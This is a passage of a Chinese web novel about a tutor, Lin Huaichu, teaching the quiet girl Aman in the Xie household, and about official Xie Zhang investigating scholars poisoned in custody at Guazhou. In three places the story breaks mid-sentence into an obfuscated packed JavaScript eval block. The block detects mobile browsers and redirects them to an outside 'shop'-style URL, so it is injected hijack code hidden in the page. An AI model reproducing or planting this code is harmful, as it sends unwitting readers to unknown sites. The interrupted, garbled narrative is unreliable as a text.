谁说阿满孤僻的，这阿满可太乖了！昨日闭门谢客，只不过是两人还不熟罢了！ 走入阿满房中时，正值日光鼎盛，日光穿过轩窗倾洒入室，照得屋内四壁生光，一片暖洋洋。 林怀楚提出要在房中四处看看，实则是想借机看看阿满喜欢什么，好对症下药。 单看房内陈设，谢家人对阿满的起居应是极上心的。 她如今生得矮小，又是读书的年纪，房中便设了几个矮架用于放书，便其拿取。 除了《四书》、《五经》与历朝诗人词人的集子，另有《山海经》、《世说新语》、《拾遗记》之类的书，想来这谢家当家人在心系阿满学习之外，亦在摸索其喜好。 只是那些孩子们更爱看的书，看着并不常被取出翻阅。 又有一长桌，其上摆了好些小物件，多是些泥塑、面人、竹叶蟋蟀之类，但看着亦不常被拿起，其上积了一层擦不干净的薄灰。 靠窗的青瓷瓶中插着两枝碧桃，看着倒还新鲜，但应当是画屏日日在照管。 一圈看下来，并看不出阿满的喜好。林怀楚不禁挠了挠头。 趁着林怀楚在房中四处查看，阿满早已从架上取出一卷《论语》，拉开椅子，坐在桌前温书，一副老成模样。 “阿满，今日不急着授课，我们且来聊聊天，如何？” 见林怀楚这般提议，阿满明显紧张了起来。 “别怕，你只需摇头或点头，或写在纸上与我看，无需真的开口说话。”林怀楚安慰道，随后提出第一个问题。 “阿满近日读了什么喜欢的书？” 阿满提笔写道：“知我者，谓我心忧。” 林怀楚点点头。 原来爱看《诗》。 “阿满这些年过得如何？” 她本是想问问这谢家当家人究竟对自己女儿如何，是否是将她苛待至此，却见阿满摇了摇头，并不动笔。 莫非阿满在谢府中真的并不如她这两日所见的那般受宠？ 也是，这谢家当家人外迁之时，孩子才三岁，的确疏于照料。 林怀楚正如此下了定论，却见阿满提笔开始写字。 却只是将前头写的那一句诗给续上了。 “不知我者，谓我何求。” 虽不解其中意，但回想起昨夜，林怀楚暗下决心，从今日起便要护好她，不再让她受半分伤害。 最后一问，林怀楚决定问些轻松的问题。 “阿满可有朋友？” 林怀楚此句一出，阿满终于笑了起来，跳下椅子，爬上床，从枕头底下取出一张皱皱巴巴的纸，如同献宝一般献给林怀楚。 林怀楚将纸抚平，发现这是一张小像，曾被浸湿后又被烘干，眉眼有点模糊，但能看出那人是笑着的，眉眼弯弯。 原来阿满是有朋友的，有机会定要和这朋友见一面。林怀楚心中甚慰，摸摸阿满的脑袋： “好啦，阿满，我们现在开始念书。上一个先生教到哪了？” 阿满将书翻开。两人并排而坐，沐浴着轩窗边的暖阳。 “凤兮凤兮——何德之衰？” 林怀楚为阿满读着书，心中感慨。 她这几年来，去过许多人家。大多数人家的要求只是教自家姑娘认几个字，为其讲授《女四书》、《列女传》，兼之教授针黹之事。谢家却为阿满屡次请先生，学的是《四书》、《五经》之类，无论怎么看都对其极尽栽培。 “往者不可谏，来者犹可追——” 两人皆聚精会神之际，房外突然传来一声不大不小的响动，引得阿满不禁停了下来，不住地朝外张望。 林怀楚以为是画屏在外打扫，并不在意，出言劝诫道：“阿满，读书时，需得做到目不窥园。” 阿满闻言只得坐正，继续听她讲，却明显有些心不在焉。 又过了一刻钟，阿满捂着肚子站起来，表示自己要去如厕。 阿满前脚跑出了门，林怀楚后脚就跟了上去。 自那响动声后起阿满就坐立不安，定有事想瞒着她。 一路跟出去，林怀楚发现阿满果然没去茅房，而是在院墙边蹲着，不知道在扒拉着什么。 “阿满？” 听见林怀楚在唤她，阿满忙站起身，将手中物卷起，往袖中一揣。 但显然没达到藏匿的效果。 衣袖……鼓起来了。 “阿满在此地作甚？肚子不疼了？”林怀楚作出一副惊讶的表情，心道好笑。 阿满点头如捣蒜，一双清亮的眼睛巴巴地望着林怀楚，似乎希望能蒙混过关。 好笑归好笑，林怀楚心中亦隐隐担忧。 东西一看便是从墙外西巷来的，若是什么无伤大雅的东西，直接走正门托小厮送进来即可，为何直接从墙头扔了进来？ 外头进来的东西还是该由长辈把把关比较好。 于是林怀楚又佯装惊讶道：“阿满，你袖中是何物？可愿意拿出来给我看看？” “该不会……是外头的吃食？话本子？”林怀楚细细观察着阿满的神色，试图在其神色变化中寻到答案。 阿满神色如常，只是摇头。 林怀楚孜孜不倦地继续询问：“莫非……是天外之人扔下来的机要之书，可勘天之喜怒？” 林怀楚絮絮叨叨一大通，阿满拿她没法子，叹了口气，妥协一般将一本册子从袖中取出，书封上无字，只有一个人的小像——正是阿满先前所说的朋友。 林怀楚悬着的心放下了一半。 既然是阿满的朋友，想来也不大可能会对阿满不利。 两人回到房中。阿满既想立马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450297|201168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻册子看，又记着桌上《论语》才读到一半，于是偷偷拿眼睛斜乜着林怀楚。 阿满这一番表现令林怀楚也好奇起来，这册子里究竟写的什么。于是便默许了阿满的动作。 一大一小两个人在书桌前挨在一块，将书翻开。 原来这册子是阿满那朋友的文集，末的几页墨迹都还未干，应当是写完后立马就送来了，里头有长长短短几十篇诗文。 这头一篇文章，名叫《胭脂河记》，以一船夫之口吻，述“胭脂河”之事。 头一句是： “天下河川，蛇据龙蟠。” 林怀楚轻轻念道： “渭流则龙须凤趾，源禹水而过陇西，淮水则眉颦笔卧，泽中原而分南北。 王母钿挥，破天河而隔织女；青黄龙啸，灭魍魉而生炎黄。” “灵溪名川，天下共宝，而斯地斯河，人不问其名何自起，文不志其流何所归，惟知其名曰胭脂河。 穿城南而过，盈盈脉脉，殷流婉转，春水连波。舟人依其流，商贾恃其津。” 这胭脂河并不如渭河、淮水那般可考。前溯炎黄之事，上忆牵牛、织女之恨，却只是为了写一条没头没尾的河么？ “吾闻货郎云，城中闺秀，尤爱红妆。 旦起懒梳妆、洗铅华，弃脂水于斯，期年日久，红粉积于河上，聚而成色。其质厚，其色朱，遂命之为胭脂河。 货郎歌于市井，每异人问询，则取匣中脂粉扑面，侃侃而述，言之振振。然其言，予不信也。” 读到此处，林怀楚顿了顿。 见了一条朱红色的河，便想到闺中女儿脸上的胭脂粉，岂不与那些成日将“商女不知亡国恨”、“玉环妖血无人扫”挂在嘴边的“志士仁人”一般？ 不过是有利可图罢了。 “乙巳之春，姑先之朔，淫雨穿篷而过，雨脚如麻，尽湿吾衣。江船夜霈，余听雨而眠，一梦杳然，醒而不记。 旦日，有客来渡。其一戎衣铁胄，登舟则解甲扶舷，以江水濯其颈，水色愈殷。 余居舟头而怪之。” 读到此处，林怀楚心中了然，身边的阿满呼吸亦粗重了几分。 何物质厚色朱，而生生不息、源源不断，以至把那江河尽染？ 唯有一物。 血。 “及近岸，客负其甲，予余舟资。客云：‘十年书剑江北，十年折戟江南。吾其归矣！’再拜而去。 日暮，寻钱怀袖，欲沽酒于青旗，乃觉铜钱尽化纸钱。 孰视之，有血痕，书“太平”二字，又见墨痕，乃一‘归’字。 予窘甚，惶然而出，撑篙离岸，至于江心。 时有清风拂岸，杨柳簌簌，其声如诉。 吾长跪而引火石，先燧‘太平钱’，散星火于江天，以遗兜鍪；又燧‘归人钱’，别英灵于斜照，以谢长缨。” 书剑江北，折戟江南…… 前朝大燕朝从立国、屯兵，到挥师南下，一共用了十年。 从迁都江南，大兴土木，到最终灭国，也不过十余年光景。 可不就是“十年书剑江北，十年折戟江南”么？ 读着读着，读到最后一段。 “吾闻杜工部之诗云： ‘客从南溟来，遗我泉客珠。 珠中有隐字，欲辨不成书。 缄之箧笥久，以俟公家须。 开视化为血，哀今征敛无。’ 其诗信矣！明珠化血之哀，铜钱化纸之叹，岂异哉？其意一也。胭脂河之故事，可以知矣。 乙巳年三月廿一日记。” 读毕，林怀楚不禁倒吸一口凉气。 乙巳年，不远不近，正是四年前。 而今朝距前朝之乱，也不过短短四年。 这自称船夫之人祭奠的，莫非是四年前那些…… 至死未曾卸甲的—— 鬼？ 观其文字，并不华丽，却字字泣血，仿佛真有船夫其人、登船其鬼一般。 林怀楚盯着那略显凌乱的字迹看，面色凝重。 全然未发现身边的阿满早已冷汗岑岑，正竭力克制着颤抖。 5. 儒生之死 纵江防同知汪纬仁再三相劝，谢章也固执地表示要去看看码头外的情况。 外头的那帮人不对劲。 一下船时他便注意到了那边的骚动，起初以为只是这地新官上任，治安不佳。 直到那汪同知上前谄媚，有意惹他厌烦。 朝中有制，钦差要员不可在回京述职途中接受宴请。若他真应了汪纬仁的邀，便犯了违制之罪。 汪纬仁料定他没法久留，但又怕他真留，于是假意谄媚，实则是在催他离去。 那群闹事者，或戴儒巾、着道袍，或戴东坡巾，怎么可能如汪纬仁所说，皆为流氓地痞。 这新上任的江防同知当他是傻子么？ 若真要闹事，此地商船往来，过路人多是些年轻力壮的纤夫、舵工、水手，就凭那群竹竿子一般的“地痞”，如何能闹事？ 简直就是颠倒黑白。 果不其然，当谢章提出让伍四六前去查看情况时，汪纬仁立马变了脸色。那变化虽然只有一瞬，却还是被谢章察觉。 汪纬仁意识到自己方才的失态，重新将谄笑堆起：“大人果然明察秋毫！那帮子人先前确实是些读书人。” “但大人您有所不知，这些人都是些眼高手低之辈，屡试不第，便心怀怨恨，因而成了地痞，日日书也不读，只围在官府前喊冤，已经闹了好几日了。” 谢章忽略了他的胡言乱语，只留意到了最末的一句。 骚乱是这几日开始的？ 大夬朝立国后大兴科举，各地分设院试，三年两试。 今年四月，正是扬州府院试之时，算算日子，也就在前不久。 本以为当今圣上特派他南下考察各地学制，实为多虑。三年来，他巡视过一众州县，并未发现异样。 谁料正当回京述职之际，却好巧不巧让他碰上了儒生当街闹事。 汪纬仁并不知谢章此刻已然心如明镜，仍在胡搅蛮缠。 谢章并不信他的胡言乱语，只冷冷道： “本官腰间的御赐金印，你看不到么？” “你可知道，明明各地学制皆由学政主管，天子却还要每三年特派一名钦差？” “大夬正值百废待兴之际，科举乃国之命脉，容不得半点差池。” 还有一句，谢章并未说出口。 科举，也是天下举子的命。 “劳烦汪大人同谢某一道去看看那边的情况。”谢章再一次要求道。 汪纬仁暗地咬了咬牙：“谢大人所言极是。大人，请吧。” 众人刚要靠近，一队官兵突然出现，将学子们当场缉拿。 学子们见了谢章腰间的金印，都激动起来，谁料还未说话，便被官兵堵住了嘴。 “这位是京城派下的巡察学官，谢章谢大人。”汪纬仁介绍道。 众官兵纷纷行礼。 谢章皱起眉：“为何要将这些人的嘴堵住？这恐怕不合规矩。” 为首的那名官兵道：“回大人，这群地痞成日在街头说些大逆不道之语，因而将其嘴堵上，恐脏了大人的耳朵。” 话毕，他又补上一句：“这是巡检卜大人的意思。在瓜洲，卜大人的意思，就是规矩。” “谢大人，想来是有人不堪其扰，报了巡检司，这才派了官兵下来。这巡检司办事……在下可就管不了了。” 汪纬仁见谢章吃瘪。颇为幸灾乐祸。 想不到瓜洲如今竟是这般情形。两年前他到此地时，只觉得治安良好，科举之风盛行。不过两年的功夫，同知、巡抚与学政换了人，便闹出了这般乱事。 他既负皇命，就必须将此事查明。 谢章坚持要留下，亲自审问闹事学子。 于是乎，汪纬仁不情不愿地将他“请”上了马车。 谢章坐在车中，思绪万千。 谁曾想，在外三年，皆风平浪静；回京之路上，变故却接连而生。 谢章心乱如麻，突然留意到耳边传来的轮毂声，愣了愣，突然想起了京城家中之事。 他敲敲车窗，向骑马跟在马车外的伍四六吩咐道： “四六，此事蹊跷，你我恐要在此地多留些时日，一会子到了驿馆，我会修书两封，劳烦你托信得过的人寄去京城。” 一封上达天子，一封寄与家人。 伍四六连忙应下。 他身旁的官兵看似在押送犯人、护送马车，却令他感到不舒服。 那种感觉，像是被……监视。 谢章与其先前官船上的人悉数被安排在邻近官府的一家驿馆中。 刚在驿馆落脚，巡检大人便前来拜见。 来人名叫卜当仁，亦是一副恭敬之态，对谢章好一番嘘寒问暖，问他身体可康健啦，可曾娶妻啦，用过饭没啦。 就是闭口不提闹事者之事。 “劳烦卜大人带谢某去审那群当街闹事之人。”谢章断然中止了他的话头，直奔主题。 “大人不若先用饭吧，身子要紧。” 卜当仁顾左右而言他。 “不必。” 谢章坚持。 卜当仁被三番两次拒绝，却并不恼，反而笑弯了眼：“大人，这个点，巡检司的弟兄们也吃着饭呢，大人何必为难一众弟兄。” 他这句话虽为拖延之语，但说得倒也在理。于是谢章妥协道： “……好。卜大人应当也饿了，留下一块用饭吧。” 耽误一个时辰，应当也不碍事。况且卜当仁就在他身边，想来暂时也翻不起什么浪。 饭后，谢章再次提出要去审人。 这一回，竟出奇地顺利。 卜当仁十分爽快地同他一道出了驿馆，将谢章带入巡检司羁候所。 不同于关押罪犯用的牢狱，羁候所只是一间不大的屋子，门口只随意挂了把锁，连看守也无一个。 卜当仁命手下打开门，站在门口，侧了侧身子，示意谢章先进，颇为气定神闲，与一个时辰前的慌乱全然不同。 谢章也不与他客气，径直走入房中。 八个作文人打扮的闹事者，皆横七竖八地蜷缩在地上，一动不动。 因这羁候所实在太小，八个人一个叠着一个，手抵着手，脚碰着脚。 死了？ 伍四六与谢章对视一番，走上前去，挨个探了鼻息，最后摇摇头道： “都死了。” 这些人手脚尚还温热，皆面露痛苦之色。 触目惊心。 伍卒们将人拖到外头空地上，挨个掰开嘴检查口舌，最后向卜当仁报告道： “皆是中毒身亡。” 不过一顿饭的功夫，闹事者便尽数命丧羁候所，很难让人不怀疑这是巡检司所为。 卜当仁显然也料到了谢章所想，不慌不忙地解释道： “谢大人，照巡检司的规矩，以免内外勾结，嫌犯候审期间，不许见任何人。” “方才到了饭点，伍卒、弓兵们悉数去了饭堂，互相都可以作证。我方才也和大人在一处用餐，大人也是看着的。” “况且，午饭期间，并无人为嫌犯准备水与吃食，这毒自然也不可能从外头来。只怕，是嫌犯们先前就带在身上的。” “如今服毒而死，大抵是惧怕刑罚，因而畏罪自杀。” 卜当仁分析得头头是道，仿佛确有其事。 谢章死死地盯着他的眼睛，企图从中看出什么破绽。 可卜当仁始终神色如常，并不露心虚之色。 他明显有事瞒着谢章，答话时却滴水不漏，让谢章抓不到一点错处。如今没有确凿的证据，就算谢章再怀疑，也奈何不了他。 汪纬仁也后脚赶来了，见了满地的尸身，一脸痛心地感慨道：“可惜了这些年轻人，放着好好的日子不过，偏要上街头闹事；家中的妻子老母不陪，非要服毒寻死。” “唉，可惜啊……” “我素来爱读书人，虽他们几个如今犯了错，可也算半个读书人，草草扔到乱葬岗，卜某……心有不忍啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450298|201168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卜当仁随声应和，一面说着这些人可怜，一面格外开恩，命手下将消息带到这八个人的家里，让他们的家人来巡检司认尸。 从始至终，都是汪、卜两人在一唱一和，谢章未曾开口说过一个字。 见谢章不接他俩的话头，汪纬仁又道：“谢大人，如今八人畏罪自杀，敢问大人的意思？可需要汪某为大人备船回京？” 这是在赤裸裸地赶客。 谢章自然不会如他所愿： “可巧，我今日才修书一封，托属下寄往京城，上呈圣上。信中已表明要在瓜州多逗留一些时日，如今信已寄出，谁料这案子破得水到渠成，倒得了闲。” 谢章一字一顿，面无表情： “如今，本官的时间宽裕得很，不急着走。” 未经查证便草草结案，给人扣上畏罪自杀的帽子，简直是无稽之谈。 “畏罪”二字，究竟从何而来？这几人何罪之有？ 无论真相如何，是任由其自裁以明志，还是施了什么手段暗中下毒，巡检司从一开始就没打算让他们继续活下去，否则也不会一个看守也不留在羁候所。 无人在场，巡检司就能撇清嫌疑。 骚动、院试、读书人，一切答案似乎都摆在明面上，可谢章偏生又找不到汪、卜两人残害无辜读书人的证据。 但既然，从逝者身上已经问不出什么，不如…… 亲属认尸那日，来了不多不少，正好八个人。 有说自己是死者姐夫、妹夫的，说是亲弟、堂弟的。只有一个女人，是那戴东坡巾男人的发妻。 众人一到场，就为自家的倒霉蛋哭起丧来。 只有那个女人，虽一声不吭，但蓬头垢面，状似癫狂。 谢章一看便明白，应该从这个女人身上查起。 第二日。 谢章命先前官船上的随侍穿上自己的常服，代替自己留在客房中，自己则换上布衣，一番乔装，同伍四六一起下了楼。 脚还未迈出驿馆，便立刻被看守拦住。 “二位……是谢大人手下的人？我家汪大人说了，这几日瓜州城中多暴徒，诸位还是好生在房内待着比较好，若缺了什么东西，我家大人自会备齐送到谢大人门前。” 伍四六连忙道：“这位大哥有所不知，我家大人这番正是派我们二人出门采买。买些……” 他突然压低了声音，面露暧昧之色： “买些汪大人不便代买的东西。” “哦？” 伍四六卖了个关子，守卫果真好奇了起来：“什么东西？” 莫非这年轻谢大人有什么怪癖？ 伍四六凑到他耳边，轻声说了两个字。 守卫一副“懂了”的表情，笑道：“那二位还请快去快回。” 谢章面上黏着几撮胡须，与伍四六并肩走在瓜州街头。 他忍了又忍，最后问道： “所以你我到底要去买什么？” 伍四六：“……” 所以这是重点吗！ 二人循着先前的线索，一路找上了那孀妻的住处。 时值黄昏，家家户户房顶都飘起炊烟。 只有这一家，冷冷清清。 谢、伍二人对视一眼，最后敲了敲房门。 这一敲，如同激起了屋内女子的悲情一般。 方才还一片死寂的屋内顿时响起凄厉的哭声。 谢章与伍四六不禁面面相觑。 好奇怪的泪点！ 片刻后，女人顶着一头乱发，将门开了一条缝。 “敢问二位何事到访？若为我夫君之事而来，还请回吧……” 女人隔着门缝，不住地抽噎着。 刚经历了丧夫之痛，她双眼红肿，神情恍惚，如同被抽去了魂一般。 伍四六善意地提醒道：“这位太太，您唇边的酱汁还没擦干净。” 女人脸色一变，朝门外张望一番，见四下无人，忙将两人拉入房中。 6. 芳谢圃 来到谢府半月，林怀楚和阿满渐渐熟络了起来。 听王妈说，先前请来的先生，待得长的待了一年，待得短的只待了半个月。 但半个月相处下来，林怀楚只觉得阿满极乖巧好学，有时抱着书一看就是一天，或坐于轩窗下，或坐于门槛上，只要有光亮的地方都能看书。 身为其师，林怀楚本该为之感到喜悦，但还是忍不住担忧。 刚过了端午，衣衫一日薄过一日。 从春到夏，阿满竟从未出过琅玕院。 谁能想到，五岁的年纪，阿满最孩子气的时候，竟是每回林怀楚提议要带着她出去走走的时候。或是趴在桌上装睡，或是装作没听见，或是眼泪汪汪地，以目光恳求林怀楚别让她出门。 谢家当家人究竟是怎么带孩子的？林怀楚至今百思不得其解。 这个年纪的女孩子，皮一些的能下地捉虫、上房揭瓦；乖些的虽然听家中长辈的话，守规矩，但也都心里想着要去外头玩的。 她先前教了好几年的苏家小姐，人在闺塾当中坐，心在外头飞。只恨不能凭空生出一对翅膀来，好飞到外头去玩耍。眼睛盯在纸上，魂却早到了外头。 阿满却与之相反，人人都劝她多多出门，她却不为所动，甚至视其如洪水猛兽，避之不及。 林怀楚一催再催，已顾不上阿满是否会厌烦。 她是真怕阿满被闷坏了。 今晨，琅玕院中有客到访。 王妈带着一包衣服来了，说是近日，与谢家交好的人家送来了几匹好布，便自己拿了主意，送去外头裁缝铺，给阿满制了几身新衣裳。 林怀楚与其寒暄两句，让卧房里的阿满试试衣服。 阿满换上新制的衣裳，上着一件鹅黄色交领小衫，下罩一条柳绿色褶裙，挂起端午时谢府里发的小香囊，踢踢踏踏地绕着院子转了好几圈，显得比往日开心许多。 王妈和林怀楚一起坐在园中石桌旁喝茶，两人对视一眼，纷纷感慨： 可爱！十分的可爱！ 回头有了新来的好料子，也定要先紧着给阿满做一身。 林怀楚见阿满高兴，忍不住趁热打铁，将阿满叫过来，问她： “阿满，我们今日去园子里上课好不好？你不是早就想学写诗了？今日你若随我去园中，我就教你写诗。” 园子，指的是阿满小院南边的芳谢圃。林怀楚早些时候就去芳谢圃踩过点，觉得这地方很适合带着孩子去散心，只是阿满一直不愿出门，让她很为难。 小孩子得了新衣，不都想立马穿到外头去？她自然而然地想着。 本以为阿满这回终于能答应了，谁知那张高兴得红扑扑的小脸立马就低了下去。 再抬起时泛着泪光。 阿满第一次露出这样的表情时，林怀楚被吓了一跳。 但见了几次之后，她渐渐明白—— 这是阿满在装可怜！ 林怀楚下定决心，今日还非要把她带出去不可了！ 她转了转眼珠子，想出个治阿满的法子。 于是故作惋惜之态： “好吧，既然阿满不想学写诗，那今日还是照旧讲《微子》。” 虽说阿满无书不读，无课不听，但林怀楚能看出她其实也是有好恶的，比如： 讨厌读《论语》。 果不其然，此言一出，纠结之情立马出现在阿满脸上。她抿起嘴唇，似乎在心中权衡利弊。 手指在衣摆上绞了又绞，将衣服绞出了皱。 既然犹豫了，就证明快成功了。 林怀楚乘胜追击： “阿满不愿意的话，那我们回房去？正好今日的功课也还没布置，不如就抄《论语》？阿满你说好不好？” 最后，阿满败下阵来。 画屏替两人收拾好了文房用具，装入布包中，让她们带到园子里去。 林怀楚背起小包，牵起阿满的手，喜气洋洋地踏出琅玕院大门。 经过艰难跋涉——走了两步路后，一师一徒终于走入芳谢圃。 五月惠风和畅，辰时日光正好，晒得人周身暖洋洋，却不觉燥热。 人身上是暖的，所见之景自然也是暖的。 林怀楚心情极好，抬眼望向仲夏的谢府花园。 芳谢圃中，夏花开遍。 群花簇拥的一块空地上挖了个小池塘，清可见底，畜有仙鹤与池鲤，时常可见锦鳞嬉戏、仙鹤起舞。 池边又有芳谢亭，久无人坐，正好用来摆放纸笔。 见阿满呆呆愣愣，林怀楚大力揉了揉她的发顶，想让她精神些，语气欢快地提议道： “阿满，走，咱姐俩赏花去！” 林怀楚走在前头，阿满迈着小碎步在后头跟着，两人一前一后，行在一条砖石小径上。 园中的春花大多都谢了，落花亦被扫去。 桃树枝头，尚有几朵不肯零落成泥，但其余的枝子上已经结出青色毛桃，愈发显得这几朵未败的花茕茕孑立，四面楚歌。 碧桃的瓣子比桃花多，落花如落雨一般。如今枝头亦是一片光秃，不见花开，绿瘦红更瘦。 又行了几步路，两人终于见着了夏花。 五月，正是石榴花开的时节。 红花缀满枝头，如同一团团自绿叶中燃起的火。 林怀楚拈起一朵枝头的榴花，为阿满比划道： “这石榴花开时，先自其花苞顶端裂开一个小口，慢慢地，重瓣才自花苞中挤出，最后方得以最鲜妍之态见天日。” 阿满踮起脚，嗅了嗅石榴花蕊。香气清甜，似有若无。 世人总见榴花似火，但世人可知，其花开前也曾囿于厚厚的花萼之中，不得舒展？ 林怀楚继续道： “待到花谢结子，又是另一番情形。群瓣落去，只留花萼在枝头，一点点膨大成果。” “任开任展任凋零，这便是石榴花的品格。也是天下女子的品格。” 不知何故，一片榴花瓣落入了泥中。阿满俯身将其拾起，捧在手中，若有所思。 “而这石榴果中，亦大有门道。” “其外形圆润周正，内部籽粒却各有棱角，珠玑相抱，密不可分。” “一果中又分多房，虽各房之间有薄膜相隔，却又浑然一体。” “石榴果的长法，就是作诗的章法。” 见林怀楚如此作喻，阿满睁大了眼睛。 林怀楚见阿满有了兴致，便张口诵道： “一夜春光绽绛囊，碧油枝上昼煌煌。 风匀只似调红露，日暖唯忧化赤霜。 火齐满枝烧夜月，金津含蕊滴朝阳。 不知桂树知情否，无限同游阻陆郎。” “何为珠玑相抱，密不可分？方才那首诗的前后句，便如石榴果中相互契合的两房。‘风匀’对‘日暖’，‘红露’对‘赤霜’，此为对偶，也就是‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450299|201168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珠玑相抱’。如此写出的句子便能上下工整。” “首、颔、颈、尾四句，同写榴花，其间虽有句读相隔，然而起承转合，上承下启，正如各房合为一果，浑然一体。这是石榴的妙处，也是诗的妙处。” 林怀楚顿了顿，又补充道： “方才我所说的作诗的道理，天下诗人，人人都知晓。但真到了作诗时，许多人却还是难免落了俗套。写诗的章法具备了，其中的石榴籽却尚需心血结成。因而，除了多写，还需多读、多见。” 行过石榴，又路过芍药，穿过未开的凤仙。 两人一路走走停停，见了一类花，林怀楚就举一例此花的诗，为阿满细细讲解，讲过了格律，又讲平仄，用典。 最后，一个说累了，一个走累了，遂回到亭中歇息。 王妈命小丫头送来林檎渴水，盛于白瓷罐中。 林怀楚给阿满与自己各倒了一大杯，两人不顾形象地“咕咚咕咚”喝起来。 放下杯子，阿满冲林怀楚甜甜地笑了，像是尽了兴。 她将杯子推到一边，从笔搁上拿起笔，蘸了一笔墨，在纸上开始涂涂划划。 林怀楚知道她这是想自己动笔写诗了，便不打扰，只静静地看她。 阿满写字时总爱将头凑得很近，林怀楚纠正了好几回，但当她聚精会神之时，却往往将那些告诫抛之脑后。 如今她果真忘了情，将头放得极低极低。林怀楚只能看到她毛茸茸的发顶。 写字时又爱涂涂改改，除去练习书法之时，写了什么错字，就将那字涂成一个黑坨坨，还留出一个小尾巴。林怀楚常常调侃说，这是在纸上养蝌蚪。 还爱咬笔杆子。湘妃竹所制的笔杆子被她咬得坑坑洼洼。 阿满写字时的小癖好太多，林怀楚也曾有过要将其一一纠正的想法。但仔细想了想，还是作罢。 本来就没什么孩子气，若再强设条条框框，岂不真成了一板一眼的小大人了？ 不知过了几刻钟，阿满搁下笔，将自己所写交与林怀楚看。 “碧叶深深见，榴花夜夜明。 薰风朱袖舞，孟月醉乡吟。” 是首写榴花的绝句。 平仄是对的，亦懂得对偶。 林怀楚出言鼓励道： “以榴花比佳人，阿满这首诗作得好。” 她既然有写诗的兴致，意思虽浅又有何妨？ 林怀楚是家中二妹，上头原先有个大哥。 她幼时亦好写诗，常作了给母亲父亲看，众人都说好，还该多作些，只有这大哥说不好，还将不好之处条条道来，仿佛毫无可取之处。 大哥在世时中了进士，林怀楚一直以他为榜样。 猝不及防地挨了大哥的批，幼年林怀楚难过了好多天，哭着说今后不再作诗了。 她如今自然明白大哥用心良苦，但昔日心性，已是一去不返。 教孩子，不是这么个教法。 收回思绪，她对上阿满充满期待的眼神，笑道： “我们阿满今后想做大诗人吗？那日后的功课，再加一项作诗？” 虽然是在加功课，但阿满依旧高兴地点头。 谢府今日又有书信送来。 王妈正在前厅算账，外头突然进来个小厮，将一封信呈上。 是谢章寄来的。 王妈只扫了一眼，便面露欣喜之色： “大少爷启程回京了！” 7. 回府 “阿满，别躲了，出来吃冰镇果子了！” 转眼已至七月，一年中最炎热之时。 自林怀楚来谢府已过了三个月。 三个月来，阿满的学业进益了，也更明媚开朗了，亦更有孩子气了。 这变化令林怀楚喜不自禁，恨不得将阿满揣在袖子里，时不时拿出来亲亲。 这日午后，谢府中众人皆用过了饭，或小憩于廊下，或摇扇于房中，都懒懒地不愿动弹。 阿满却提出要和林怀楚捉迷藏。 林怀楚自知这是阿满在和自己亲近，乐呵呵地便应下了，让阿满去藏好，由她来寻。 谁知阿满这一躲，便教人找不着了。 林怀楚无法，只能一个一个房间，四处找过去。 耳边蝉鸣阵阵。 这三个月，林怀楚亦在王妈口中听说了许多谢家之事。 谢家到了谢章这一辈，人丁稀少。谢章为家中独子，其父母前些年去了，家中至今没有主母。 家丁亦少，是而谢府虽大，房间众多，但大多房中并无人住，房门皆锁着。 阿满自然不可能躲到那些上了锁的房里头。 林怀楚一路找去，最后来到一间房前。 这间房的房门是虚掩着的。 莫非阿满就在这里头？林怀楚如是猜测着。 她一面喊着阿满的名字，一面试探性地推开房门。 房中悄无人声。 甫一推开房门，漫天飞尘便扑面而来。 林怀楚毫无防备，吸了好一大口尘土，一连打了好几个喷嚏，直至泪眼朦胧，这才缓了过来。 待眼前之物渐渐清晰起来，林怀楚定睛朝房内望去。 此地四壁皆是高架，满墙满架皆是书。正中是一张由整块树根雕刻而成的书桌，其上陈设的笔墨纸砚，皆出自名地名家之手。 莫非此处便是……谢家主人的书房？ 桌上、架上皆积满灰尘，像是许久无人打扫。林怀楚见状，愈发确信，这里就是那个离家三年的谢家主人的书房。 林怀楚往里走了几步，但出于礼节，只是粗粗地四处扫了几眼，不敢细看。 又轻轻唤了阿满两声： “阿满，阿满？你在吗？” 无人回应。若阿满藏在这书房中，听了她的声音，早该忍不住走出来了。 确认阿满不在此地，林怀楚决定立马往外退。 刚退了两步，门外却突然传来脚步声。 出于本能，林怀楚并不想被谢家人发现，自己身为林家介绍的名师，却擅闯主家的书房。 慌不择路之际，她躲到了角落屏风之后，随后便屏住呼吸，一声也不敢吭，盼着来人早些离去，千万别与她撞见。 来人不知是谁，步履匆匆地进入书房，像是有什么急事。 那人一进门，林怀楚就听见了翻找声。除此之外，还有翻书声、开关柜门之声。 主人家的书房里，能有什么这人要找的东西？ 那人似乎也不知道自己要找的东西到底在何处，只四处翻找、走动。 